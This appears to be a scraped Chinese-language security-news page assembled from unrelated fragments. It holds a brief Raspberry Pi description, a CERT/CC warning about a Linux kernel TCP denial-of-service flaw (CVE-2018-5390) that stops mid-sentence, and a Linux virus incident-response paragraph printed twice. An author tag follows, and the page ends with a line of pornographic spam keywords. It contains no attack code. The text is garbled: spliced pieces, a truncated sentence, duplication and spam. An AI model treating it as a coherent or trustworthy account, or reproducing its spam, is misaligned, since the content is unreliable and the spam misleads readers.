    Raspberry Pi(中文名為樹莓派,簡寫為 RPi,(或者 RasPi / RPI) 是為學習計算機編程教育而設計),只有信用卡大小的微型電腦,其系統基于 Linux。隨著 Windows 10 IoT 的發布,我們也將可以用上運行 Windows 的樹莓派。
    卡內基梅隆大學的 CERT/CC 發出警告,稱 Linux 內核 4.9 及更高版本中有一個 TCP 漏洞,該漏洞可使攻擊者通過極小流量對系統發動 DoS (Denial-of-Service,拒絕服務)攻擊。 該漏洞是由諾基亞貝爾實驗室支持的芬蘭阿爾托大學網絡部門的 Juha-Matti Tilli 發現的,目前已經被編號為 CNNVD-201808-175(CVE-2018-5390),并且被
    完成前2步還不夠,病毒一般會通過一些自啟動項及守護程序進行重復感染,所以我們要執行閉環兜底確保病毒不再被創建。將主機上的病毒項清除干凈后,最后就是進行系統加固了,防止病毒從Web再次入侵進來。走完這4個環節,才能算是一個應急響應流程的結束。
    完成前2步還不夠,病毒一般會通過一些自啟動項及守護程序進行重復感染,所以我們要執行閉環兜底確保病毒不再被創建。將主機上的病毒項清除干凈后,最后就是進行系統加固了,防止病毒從Web再次入侵進來。走完這4個環節,才能算是一個應急響應流程的結束。01 識別現象第1個環節要求我們通過系統運行狀態、安全設備告警,發現主機異常現象,以及確認病毒的可疑行為。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类